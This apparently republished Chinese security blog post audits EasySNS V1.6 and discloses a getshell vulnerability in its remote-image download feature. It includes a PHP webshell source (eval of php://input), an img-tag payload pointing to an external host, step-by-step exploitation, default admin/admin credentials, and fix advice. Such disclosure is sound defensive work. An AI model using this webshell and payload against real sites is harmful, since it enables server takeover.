专栏首页Bypass【代码审计】EasySNS_V1.6远程图片本地化导致Getshell

【代码审计】EasySNS_V1.6远程图片本地化导致Getshell

01

前言

ESPHP开发框架基础上开发而成的EasySNS极简社区为全新数据库架构和程序结构。本文以EasySNS_V1.6作为代码审计的目标,分享一个远程图片本地化导致Getshell的漏洞。

02

环境搭建

EasySNS官网:http://www.imzaker.com/

网站源码版本:EasySNS极简社区V1.60

程序源码下载:http://es.imzaker.com/index.php/Topic/gview/id/92.html

默认后台地址:http://127.0.0.1/admin.php/Login/login.html

默认账号密码:admin/admin

03

代码分析

1、漏洞文件位置: /app/common.func.php

在公共调用函数里面,我们注意到getImageToLocal函数,通过正则从img标签里面获取链接,然后判断是否是本站地址,调用了getImage函数实现下载远程图片保存到本地,我们跟进同文件下的getImage函数进行查看,

在getImage函数中,并未对下载的文件名进行判断,获取文件后缀拼接到文件名,下载到网站目录中,那么这个函数是很危险的,很可能导致程序在实现上存在任意文件下载漏洞,下载远程文件到网站目录下。

2、 全局搜索getImageToLocal函数,找到调用函数的地方

漏洞文件:/app/index/controller/Topic.php,在topicadd函数中,webconfig('bd_image')==1即当程序开启远程图片本地化的时候,调用了getImageToLocal函数,我们可以根据条件构造Payload来进行漏洞利用,攻击者可指定第三方url下载恶意脚本到网站目录,进一步触发恶意代码,控制网站服务器。

04

漏洞利用

一、利用条件

1、登录网站后台—系统管理—配置管理—开启远程图片本地化(默认安装情况下处于关闭状态)

2、在第三方网站放置一个evil.php作为代码源,如http://192.168.8.131/evil.php

evil.php文件内容:

1. <?php

2. echo "<?php ";

3. echo "eval(file_get_contents('php://input'));";

4. echo "?>";

5. ?>

二、漏洞利用

1、注册一个test1用户,选择发布帖子,在html代码编辑状态下插入img标签

<img src="http://192.168.8.131/evil.php" />

2、点击发布后,查看我的帖子,获取上传后的文件名。

3、文件路径格式为:/uploads/picture/cache/'.$uid.'/+$filename

查看个人主页获取uid值,

4、需要把uid加上拼接为完整路径,最终获得文件路径,成功触发恶意代码,获取网站服务器权限。

http://127.0.0.1/uploads/picture/cache/2/2_VHZHOopR1520094924.php

05

修复建议

1、白名单限制远程图片本地化下载的文件名后缀,只允许下载jpg、png等格式;

2、禁止图片目录脚本执行权限。

Bypass

About Me

一个网络安全爱好者,对技术有着偏执狂一样的追求。致力于分享原创高质量干货,包括但不限于:渗透测试、WAF绕过、代码审计、安全运维。

本文分享自微信公众号 - Bypass(Bypass--),作者:Bypass

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2018-03-06

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 【代码审计】CLTPHP_v5.5.3前台XML外部实体注入漏洞

    在代码审计中,发现了微信接口存在XML外部实体注入漏洞,后面和小伙伴sn00py交流,他也发现了这个点。XML外部实体注入漏洞的代码实例比较少,这边也分享一下思...

    Bypass
  • 【代码审计】PHPYun_v4.3 CMS重装到Getshell

    PHPYun是一款国内流行的人才网站管理系统,做了一些测试,发现了一点问题,做个记录,未深入。

    Bypass
  • 【代码审计】MIPCMS 远程写入配置文件Getshell

    MIPCMS - 基于百度MIP移动加速器SEO优化后的网站系统。在审计代码中,发现一个可以远程写入配置文件Getshell的漏洞,感觉挺有意思的,分享...

    Bypass
  • 一次粗心,让我学会了如何搭建php环境,坑越多越有成就感

    线上php程序出现了问题,商品页面无法正常访问,对于java开发工程师来说有一些困难,因为之前没有相关经验,一开始自己内心也是挺排斥的,然而问题摆在那里,只能去...

    用户4361942
  • centos 6.8 yum安装 PHP 5.6

    (adsbygoogle = window.adsbygoogle || []).push({});

    双面人
  • PHP-实战新闻模块

    2、在inc下创建conn.php文件,用来连接数据库,代码就是上面连接数据库的代码

    cwl_java
  • yum安装新版php7.0

    这两天又装了一下虚拟机,又要编译lnmp,还要弄各种拓展,很麻烦,能不能直接yum安装呢?答案是可以的!

    柴银磊
  • PHP命令行模式

    1.PHP运行指定文件 php my_script.php php -f my_script.php 2.命令行直接运行php代码 php -r ‘pri...

    苦咖啡
  • 新手微擎 --- 框架整体认知

    首先贴出微擎根目录各文件夹、文件的大致含义(写的有点乱,仔细看还是能看懂的,O(∩_∩)O):

    双面人
  • Windows 8 IIS配置PHP运行环境

    在Windows 8 的IIS(8.0)中搭建PHP运行环境: 一:安装IIS服务器 1.进入控制面板>>程序和功能>>打开或关闭Windows 功能,找到In...

    庞小明

扫码关注云+社区

领取腾讯云代金券